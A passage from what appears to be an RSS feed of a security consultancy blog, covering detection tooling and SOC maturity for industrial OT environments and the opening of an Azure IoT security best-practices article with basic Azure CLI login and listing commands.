<p>More than deploying, operating these probes also comes with challenges and requires a <strong>significant workload</strong>. They tend to generate a high number of false positives, which means teams must create tailored detection rules and playbooks to filter and respond effectively. On average, we estimate that one <strong>full-time SOC analyst</strong> is required to manage the alerts generated by<strong> 50 probes</strong>.</p>
<p>In the end, OT probes may be popular, but <strong>deployment and tuning costs and resources limit their full utilization</strong>. Our recommendation is to prioritize deploying OT probes for critical sites or within key network segments that demand advanced industrial and network monitoring capabilities. Deployment should also be aligned with the organization’s capacity to <strong>manage the associated tuning and operational workload</strong>. This approach helps maximize <strong>return on investment</strong> while ensuring effective detection where it matters most for our clients.</p>
<h3>Consider other solutions?</h3>
<p>Regarding detection for industrial perimeter, while this article focuses on key detection sources like EDR and OT network probes, it is important to acknowledge that other solutions such as deceptive technologies (e.g., honeypots or decoys) <strong>can also play a valuable role</strong> and be relevant in specific scenarios or environment according to your industrial sites architecture or <strong>feared compromission scenarios</strong>.</p>
<h1>Conclusion</h1>
<p>To conclude, here are the key recommendations to build an effective detection tooling strategy to monitor industrial environments       :</p>
<ol>
<li><strong>Leverage existing tools for immediate impact:</strong></li>
</ol>
<p>Begin by maximizing the value of <strong>detection sources already available</strong> in your industrial environment: firewall logs, active directory, remote access logs&#8230; and <strong>EDR</strong>, that can be quickly implemented on <strong>OT servers and workstations</strong>, offering high visibility with minimal effort. Adapting <strong>proven IT detection logic</strong> to OT use cases enables organizations to rapidly establish a baseline level of visibility without the need for heavy investments or complex integrations. This pragmatic approach ensures faster deployment and broader coverage of your OT assets.</p>
<ol start="2">
<li><strong>Deploy advanced solutions where </strong><strong>you can manage the workload</strong></li>
</ol>
<p>When extending your detection capabilities, prioritize the deployment of advanced tools like OT network probes where they provide the most value. For <strong>network probes</strong>, focus on critical sites or segments, and carefully select <strong>listening points</strong> to balance visibility, cost, and operational overhead. This targeted deployment approach ensures resources are used efficiently and strategically.</p>
<ol start="3">
<li><strong>Prioritize quality and relevance over quantity</strong></li>
</ol>
<p>Building an effective OT detection strategy does not require monitoring every possible data source. Instead, focus on sources that are both relevant to your environment and technically feasible to collect without disrupting operations. This approach allows reducing log storage and management costs and enable the creation of more relevant, high quality detection rules.</p>
<p>Do not hesitate to reach out to discuss how you can <strong>build and improve your detection strategy</strong> to <strong>monitor your industrial assets</strong>!</p>
<p>In our next article, we will look at how to evaluate detection in industrial environments using <strong>purple team exercises</strong>, a practical way to assess and improve your detection capabilities.</p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/">Cybersecurity tooling strategy for an effective industrial detection</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cybersecurity monitoring for OT &#8211; Current situation &#038; perspectives</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Thu, 25 Sep 2025 11:20:39 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27774</guid>

					<description><![CDATA[<p>OT, lower exposure but higher vulnerability Operational Technology, while overall less impacted than IT, is not exempt from cyberthreats &#38; not immune to cyberattacks. Let’s take a closer look at a simplified view of the threat landscape for industrial environments:...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/">Cybersecurity monitoring for OT &#8211; Current situation &amp; perspectives</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1>OT, lower exposure but higher vulnerability</h1>
<p>Operational Technology, while overall less impacted than IT, is not exempt from cyberthreats &amp; not immune to cyberattacks. Let’s take a closer look at a simplified view of the threat landscape for industrial environments:</p>
<ul>
<li><strong>Hacktivism</strong>: Increased geopolitical tensions in 2025 have led to low-level attacks by groups like CyberArmyofRussia_Reborn and CyberAv3ngers.</li>
<li><strong>Cyber Crime</strong> / <strong>Ransomware</strong>: There has been an 87% increase in ransomware attacks on industrial groups in 2025 according to Dragos in its annual report.</li>
<li><strong>Nation-State</strong>: Notable campaigns include Voltzite OT information theft and the IOControl campaign.</li>
</ul>
<p>This threat landscape was notably depicted by Chris Sistrunk, ICS/OT Technical Leader at Mandiant, Google Cloud Security, at Black Hat 2025:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-27771 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN14.png" alt="" width="684" height="374" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN14.png 958w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN14-350x191.png 350w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN14-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN14-768x419.png 768w" sizes="auto, (max-width: 684px) 100vw, 684px" /></p>
<p>Given this increasing threat landscape targeting OT, continuous monitoring is essential. So, we know why industrial information systems need to be closely monitored, and we also know that our clients are actively working toward that goal. But one key question remains: <em><strong>how do we measure the effectiveness of detection?</strong></em> And how can we improve it?</p>
<h1>How to assess the effectiveness and improve detection on industrial perimeter?</h1>
<p>To answer that question, we developed a methodology aimed at evaluating detection capabilities within industrial SOCs.</p>
<p>The evaluation was built around the core activities of a SOC, structured into four pillars:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-27719 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN1.png" alt="" width="794" height="395" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN1.png 1389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN1-384x191.png 384w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN1-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN1-768x382.png 768w" sizes="auto, (max-width: 794px) 100vw, 794px" /></p>
<p>Using this framework, <strong>we assessed ~15 industrial clients</strong> to better understand their level of maturity. In this article, we’ll share the <strong>key trends and insights that emerged</strong>, focusing specifically on detection-related questions. Two follow-up articles will be published: one delving into the effectiveness of various detection strategies and solutions, and another explaining how to test detection capabilities in industrial environments with purple teaming and the custom modules developed for that purpose.</p>
<h2>Governance &amp; Strategy</h2>
<p>The first question we focused on was whether industrial sites monitoring is handled by a dedicated team using specialized tools — or if, on the contrary, it&#8217;s integrated into a broader, centralized SOC approach.</p>
<p>Responses are unanimous:</p>
<p><img loading="lazy" decoding="async" class="wp-image-27779 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN2-1.png" alt="" width="765" height="112" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN2-1.png 1153w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN2-1-437x64.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN2-1-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN2-1-768x113.png 768w" sizes="auto, (max-width: 765px) 100vw, 765px" /></p>
<p>These figures can be explained by several factors. One key reason is <strong>financial rationalization</strong>. Maintaining two separate teams with similar skill sets: managing alerts, configuring tools, duplicating capabilities… is costly. However, a unified SOC implies an<strong> extended scope to cover OT</strong>, but not the presence of OT-specific tools or expertise and in the end, OT detection capabilities.</p>
<p>Even if this approach does not guarantee effective detection and response across the OT scope, a unified SOC can manage OT incidents efficiently, under the right conditions:</p>
<h3>End-to-end monitoring</h3>
<p>If we look closely at the simplified threat landscape, cyberattacks might not be IT or OT-specific. Cybercrime such as ransomware, the dominant threat today, is not limited to IT or OT alone. It often spreads across both, making it essential for alerts to be followed from end-to-end.</p>
<p>In the end, unifying the detection teams &amp; tools make sense as <strong>attacks are not necessarily exclusively IT or OT. </strong></p>
<h3>Link with industrial sites</h3>
<p>Response time &amp; information sharing is crucial in cyber incidents. As most security teams are centralized in a unique location, there is a <strong>need for a link between central security teams and local industrial sites</strong> in cyber incident response process:</p>
<ul>
<li>This relay is familiar with industrial sites, their specific characteristics, operational context, and modes of functioning</li>
<li>They also maintain contact on-site to quickly gather the information required for triage, doubt resolution or investigation</li>
<li>In addition, in global organizations, having resources in the right time zones and ability to communicate in the local language is key, especially in the industrial world</li>
</ul>
<p>Referred to as Cyber-OT Referents, these relays play an <strong>active role in the incident resolution process</strong>, particularly during investigation and remediation:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-27723 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN3.png" alt="" width="739" height="308" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN3.png 1441w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN3-437x182.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN3-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN3-768x320.png 768w" sizes="auto, (max-width: 739px) 100vw, 739px" /></p>
<p>In conclusion, even though <strong>unified SOC covering IT and OT</strong> are often driven by cost optimization, the model makes sense considering that many threats span both domains. Still, this must not be treated as a simple extension of the perimeter to cover, <strong>dedicated OT relays and expertise are essential</strong> to properly handle industrial-specific contexts.</p>
<h2>Tooling</h2>
<p>When it comes to tooling, we observed that 100% of our clients have detection tools deployed on the IT side. However, only one-third extend monitoring down to the lower layers of the industrial environment.</p>
<p><img loading="lazy" decoding="async" class=" wp-image-27725 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN4.png" alt="" width="769" height="517" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN4.png 844w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN4-284x191.png 284w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN4-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN4-768x517.png 768w" sizes="auto, (max-width: 769px) 100vw, 769px" /></p>
<p style="text-align: center;"><em>Detection sources covering different levels of the Purdue model</em></p>
<p>We will focus on popular solutions to address detection in industrial environments: EDR and OT probes.</p>
<h3>2.2.1 EDR</h3>
<p>Few figures regarding EDR:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-27727 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN5.png" alt="" width="393" height="95" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN5.png 982w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN5-437x105.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN5-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN5-768x185.png 768w" sizes="auto, (max-width: 393px) 100vw, 393px" /></p>
<p>Most of our clients have started deploying EDR in their industrial environments.</p>
<p>However, this does not mean that 100% of EDR-compatible OT machines are covered.</p>
<p>For environments that support it, extending EDR coverage allows to:</p>
<ul>
<li>Address low maturity: Start with tools that are easier to implement and require less maturity.</li>
<li>Broad coverage: Focus on quickly covering a wide range of systems, sites, and critical applications.</li>
<li>Leverage IT tools: Use IT-based solutions like EDR for effective detection without heavy infrastructure requirements.</li>
</ul>
<p>To do so, most organizations opt to use the same EDR solution for both IT and OT environments. It enables faster rollout thanks to a known and already-integrated tool. Depending on needs and available resources, a different solution may be selected to improve resilience and OT-compatibility.</p>
<p><img loading="lazy" decoding="async" class="wp-image-27729  aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN6-e1758784575390.png" alt="" width="741" height="231" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN6-e1758784575390.png 1005w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN6-e1758784575390-437x137.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN6-e1758784575390-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN6-e1758784575390-768x240.png 768w" sizes="auto, (max-width: 741px) 100vw, 741px" /></p>
<p>To conclude, with IT/OT convergence, <strong>deploying EDR Agents on OT Servers and Workstations</strong> is becoming increasingly relevant, and a <strong>quick win for OT detection</strong>, according to our clients’ feedback.</p>
<h3>OT Probes</h3>
<p>Few figures regarding probes:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-27731 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN7.png" alt="" width="588" height="149" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN7.png 970w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN7-437x111.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN7-71x18.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN7-768x195.png 768w" sizes="auto, (max-width: 588px) 100vw, 588px" /></p>
<p>When it comes to probes, the gap between these two figures highlights the <strong>challenge of deploying probes at scale</strong> and effectively using them for detection in industrial networks.</p>
<p>Indeed, probes collect and correlate information through network traffic capture. To be effective, their deployment requires carefully selecting listening points based on the intended targets. Listening points need to be tailored to each site architecture, often limited by local team&#8217;s knowledge and lack of documentation.</p>
<p>Operating these probes also comes with challenges and requires a <strong>significant workload</strong>. They tend to generate a high number of false positives, which means teams must create tailored detection rules and playbooks to filter and respond effectively.</p>
<p>In the end, OT Probes may be popular, but <strong>deployment and tuning costs and resources limit their full utilization.</strong></p>
<h3>Start basic with OT detection tools</h3>
<p>In the end, for OT detection, we believe in starting basic by leveraging “IT” tools to ensure a first level of coverage across all sites, critical apps, and infrastructure:</p>
<ul>
<li><strong>Prioritize critical assets</strong>: Focus on key systems (MES, safety tools, network) essential for production, ensuring they are closely monitored before extending deployment to the lower levels of the Purdue model.</li>
<li><strong>Implement basic detection</strong>: Establish foundational detection across sites and infrastructure for early issue identification, before advancing to complex OT solutions.</li>
</ul>
<h2>Training &amp; Testing</h2>
<p>Detection does not rely on deploying tools alone; we will focus here on team&#8217;s ability to use them effectively.</p>
<h3>A need for more OT-specific knowledge</h3>
<p>Benchmark figures revealed a limited understanding and adaptation of both teams and processes to industrial environments:</p>
<p><img loading="lazy" decoding="async" class="wp-image-27733 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN8.png" alt="" width="612" height="145" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN8.png 928w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN8-437x104.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN8-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN8-768x182.png 768w" sizes="auto, (max-width: 612px) 100vw, 612px" /></p>
<p>To bridge the gap, teams need training tailored to industrial contexts, basic for all SOC analysts, and in-depth for OT specialists.</p>
<p><img loading="lazy" decoding="async" class="wp-image-27735 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN9.png" alt="" width="745" height="180" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN9.png 1009w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN9-437x106.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN9-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN9-768x186.png 768w" sizes="auto, (max-width: 745px) 100vw, 745px" /></p>
<p>In the same way, <strong>investigation and response processes must also be adapted</strong> to address the specific needs of industrial environments, where priorities such as availability differ from those in the IT world.</p>
<p><img loading="lazy" decoding="async" class="wp-image-27737 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN10.png" alt="" width="729" height="159" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN10.png 1003w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN10-437x95.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN10-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN10-768x168.png 768w" sizes="auto, (max-width: 729px) 100vw, 729px" /></p>
<h3>Test your detection!</h3>
<p>Finally, improving detection starts with evaluating it but today …</p>
<p><img loading="lazy" decoding="async" class=" wp-image-27810 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN11-1.png" alt="" width="436" height="105" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN11-1.png 498w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN11-1-437x105.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN11-1-71x17.png 71w" sizes="auto, (max-width: 436px) 100vw, 436px" /></p>
<p>Only a small minority test their real detection capabilities, but we believe that there is <strong>room for purple team exercise in OT</strong>. These collaborative exercises with the OT SOC, tailored to its maturity and goals, can <strong>test and enhance both detection tools and OT SOC processes.</strong></p>
<p><img loading="lazy" decoding="async" class=" wp-image-27741 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN12.png" alt="" width="745" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN12.png 1015w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN12-287x191.png 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN12-59x39.png 59w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN12-768x511.png 768w" sizes="auto, (max-width: 745px) 100vw, 745px" /></p>
<p>It can start simple: by selecting appropriate production environments and performing a few basic tests like inserting a USB key with a standard malware sample or attempting a couple of privilege escalation actions… we can evaluate whether the EDR deployed on a workstation connected to your SOC will trigger an investigation.</p>
<p>This exercise helps <strong>identify the blind spots and adjust tooling, process and playbooks</strong> accordingly.</p>
<h1>Conclusion: How to enhance the overall low maturity in detection for industrial systems?</h1>
<p>The benchmark’s first conclusion is clear: <strong>maturity levels are low</strong>, and this is a consistent answer across all collected responses. How to enhance this overall low maturity in detection for industrial systems?</p>
<p>Here are the<strong> key outcomes</strong> regarding the three topics covered in this article:</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-27743 alignnone" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN13.png" alt="" width="1545" height="595" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN13.png 1545w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN13-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN13-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN13-768x296.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/SOCOT1_EN13-1536x592.png 1536w" sizes="auto, (max-width: 1545px) 100vw, 1545px" /></p>
<p>Do not hesitate to reach out to discuss how you can <strong>strengthen your detection capabilities</strong> and <strong>measure your maturity against the market</strong>!</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/">Cybersecurity monitoring for OT &#8211; Current situation &amp; perspectives</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 07 Apr 2023 13:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & Consumer goods]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[IoT]]></category>
		<category><![CDATA[RBAC]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20232</guid>

					<description><![CDATA[<p>Internet of Things (IoT) platforms enable the connection, management and monitoring of fleets of devices. The 3 cloud leaders, GCP, AWS and Azure each have their own offering, in a particularly fragmented sector, which sees many players competing. Azure, in...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/">Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Internet of Things (IoT) platforms enable the connection, management and monitoring of fleets of devices. The 3 cloud leaders, GCP, AWS and Azure each have their own offering, in a particularly fragmented sector, which sees many players competing.</p>
<p>Azure, in recent years, has been gaining a foothold in this sector, as Gartner has pointed out, ranking them among the <strong>visionary leaders</strong> of Industrial IoT (IIoT) platforms [1] due to its capabilities, and its almost complete coverage of all use cases and industries.</p>
<p>The IoT, by nature often widely exposed, even on the Internet, can be the<strong> target of attacks</strong>. It is therefore essential to put in place security mechanisms, and to<strong> apply best practices</strong> to improve the security level of the platform and the objects that connect to it, which we will explore in this article.</p>
<p>Before moving on to specific <strong>recommendations</strong> for protecting your IoT devices and data, let&#8217;s look at how the various Azure IoT services can be used together to<strong> create secure IoT solutions</strong>.</p>
<h1><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">Presentation of the Azure IoT offer</span></h1>
<p>Microsoft Azure IoT is an <strong>end-to-end platform</strong> for connectivity, analysis and visualization of data from IoT devices. It also offers <strong>interconnection with other standard Azure services</strong> such as Azure Machine Learning and Azure SQL Database.</p>
<p>Azure IoT offers <strong>two solution ecosystems</strong> to its customers:</p>
<ul style="text-align: justify;">
<li>Azure IoT Central is a <strong>fully managed aPaaS</strong>, Platform as a Service application that <strong>simplifies the creation of IoT solutions</strong>. This service is responsible for connecting, managing and operating fleets of devices, and provides a management user interface. Azure IoT Central is an <strong>aggregate of different Azure IoT services</strong> such as Azure IoT Hub or Azure IoT Hub Device Provisioning Service (DPS).</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20200 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png" alt="" width="836" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png 836w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-768x499.png 768w" sizes="auto, (max-width: 836px) 100vw, 836px" /></p>
<p><em>Azure IoT Central </em><strong>offers application models</strong> according to several business domains: Retail, Health, Energy, Industry, etc., and aims at a &#8220;turnkey&#8221; implementation.  </p>
<ul style="text-align: justify;">
<li>A <strong>customised ecosystem</strong> thanks to the various Azure PaaS (Platform as a Service) services. In this ecosystem, two services; Azure IoT Hub and Azure Digital Twins are the <strong>foundations of an IoT solution</strong>. We have also combined them with Azure Device Provisioning and Azure Device Update for optimal coverage of cyber security needs.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20202 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png" alt="" width="830" height="519" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png 830w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-768x480.png 768w" sizes="auto, (max-width: 830px) 100vw, 830px" /></p>
<p>These two ecosystems enable Azure to <strong>address all types of IoT and IIoT needs</strong>:</p>
<ul style="text-align: justify;">
<li>Azure IoT Central offers a complete service if you want to quickly develop a <strong>low-complexity application</strong> thanks to its application template catalogue.</li>
<li>If you want a <strong>custom solution</strong>, or with features not supported by Azure IoT Central: opt for an ecosystem based on Azure IoT Hub.</li>
</ul>
<p>Now that we have a good understanding of the Azure IoT ecosystems, it is important to <strong>focus on securing these ecosystems</strong>. How can we effectively protect IoT devices and data when using Azure IoT services? This is what we will explore in the following sections.</p>
<p> </p>
<h1><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">Preamble: the Azure CLI tool</span></h1>
<p>In order to manage Azure resources, Microsoft provides several tools, most of which can be used in CLI (Command Line Interface). The tool offering the most functionality for management is <strong>Azure CLI</strong>.</p>
<p>This tool, available for <strong>Windows</strong> and <strong>UNIX</strong> operating systems, allows a user who is a member of an Azure environment to <strong>manage and obtain information about Azure resources</strong>. It should be noted that the range of possibilities of this tool varies according to the rights that the user has over the resources in question.</p>
<p>To install it, Microsoft provides a <a href="https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli">dedicated page</a> explaining the steps for any type of environment.</p>
<p>In order to use it, all you must do is <strong>connect</strong> to an Azure user account via the chosen command interface (<strong>PowerShell</strong> or <strong>Bash</strong>), then <strong>enter the desired commands</strong>. Once the use of this tool is finished, a disconnection of the account is recommended.</p>
<p>A <strong>typical use</strong> of this tool is shown below:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> login [<span style="color: #808080;">-u</span> Nom d’utilisateur] [<span style="color: #808080;">&#8211;use-device</span>]</span></p>
<p><span style="color: #ffffff;">[Commandes Azure CLI] [Exemple : ]</span><br /><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource list</span></p>
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> logout</span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;"><span style="font-size: revert; color: initial;">The documentation of this tool, presenting and explaining all the possible commands, is available at this </span><a style="font-size: revert;" href="https://learn.microsoft.com/fr-fr/cli/azure/reference-index?view=azure-cli-latest">address</a><span style="font-size: revert; color: initial;">.</span></p>
<p>This tool will be used later in the example of technical manipulations.</p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">1st security vector: authentication of objects</span></h1>
<p>Device authentication is crucial for an Azure infrastructure as it ensures that <strong>only authorised devices can access cloud resources</strong>. Azure IoT services support two main means of authentication for IoT devices:</p>
<ul style="text-align: justify;">
<li>A <strong>SAS Token</strong> (Shared Access Signature) is a <strong>string of characters</strong> used to authenticate devices and services. An SAP token has the following structure:</li>
</ul>
<p style="text-align: justify;"> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20249 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12.png" alt="" width="2426" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12.png 2426w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-437x115.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-768x202.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-1536x403.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-2048x538.png 2048w" sizes="auto, (max-width: 2426px) 100vw, 2426px" /></p>
<p>This type of authentication has a <strong>defined validity period</strong> and permissions, which are assigned based on an access policy, on a <strong>given perimeter</strong>. The <strong>signature</strong>, on the other hand, is a crucial element because it is responsible for guaranteeing the security of communications between the object and Azure services, but also for proving the identity of the device. This signature is generated from a secret that must be <strong>specific to each device</strong>.</p>
<ul style="text-align: justify;">
